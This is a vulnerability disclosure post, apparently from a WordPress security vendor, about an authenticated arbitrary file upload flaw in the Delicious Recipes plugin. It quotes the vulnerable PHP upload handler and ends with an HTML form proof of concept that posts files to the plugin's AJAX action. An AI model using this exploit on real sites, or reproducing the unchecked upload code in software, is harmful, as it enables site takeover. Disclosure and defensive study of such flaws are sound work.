Our Proactive Monitoring Caught an Authenticated Arbitrary File Upload Vulnerability Being Added to a WordPress Plugin
One way we help to improve the security of WordPress plugins, not just for our customers of our service, but for everyone using them, is our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. Through that we caught a fairly serious vulnerability being introduced in to the plugin Delicious Recipes, an authenticated arbitrary file upload vulnerability.
The cause of this is a lack restriction on what types of files can be upload through the plugin’s functionality to upload a profile photo. The function upload_profile_image() in the file /src/dashboard/class-delicious-recipes-form-handler.php handles the AJAX request for that:
427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 | public static function upload_profile_image() { if ( !empty( $_FILES ) && wp_verify_nonce( $_REQUEST['nonce'], 'delicious-recipes-profile-image-nonce' ) ): $_uploads = wp_upload_dir(); $cooked_tmp_dir = trailingslashit( $_uploads['basedir'] ) . 'delicious-recipes/tmp'; $cooked_tmp_url = str_replace( array( 'http://', 'https://' ), '//', trailingslashit( $_uploads['baseurl'] ) . 'delicious-recipes/tmp' ); if ( wp_mkdir_p( $cooked_tmp_dir ) ): $source = $_FILES['file']['tmp_name']; $salt = md5( $_FILES['file']['name'] . time() ); $file_name = $salt . '-' . $_FILES['file']['name']; $destination = trailingslashit( $cooked_tmp_dir ) . $file_name; if ( move_uploaded_file( $source, $destination ) ): $upload_url = trailingslashit( $cooked_tmp_url ) . $file_name; $uploaded_filetype = wp_check_filetype( basename( $destination ), null ); $file_array = array( 'file' => $destination, 'url' => $upload_url, 'type' => $uploaded_filetype ); echo json_encode( $file_array ); endif; endif; endif; wp_die(); } |
You need to be logged in to WordPress and have a valid nonce to access the upload functionality. By default, if the plugin’s recipe dashboard page has been created you can create a new account, log in, and get access to the needed nonce. As shown in the code above, the uploaded file is given a unique name, but it is then returned in response to the upload.
WordPress Causes Full Disclosure
Because of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Is It Fixed?
If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.
Proof of Concept
The following proof of concept will upload the contents of the specified file sent to the returned location, when logged in to WordPress.
Make sure to replace “[path to WordPress]” with the location of WordPress and “[nonce]” with the value of “profile_image_nonce” on the recipe dashboard page.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=delicious_recipes_profile_image_upload" enctype="multipart/form-data" method="POST"> <input type="hidden" name="nonce" value="[nonce]" /> <input type="file" name="file" /> <input type="submit" value="Submit" /> </form> </body>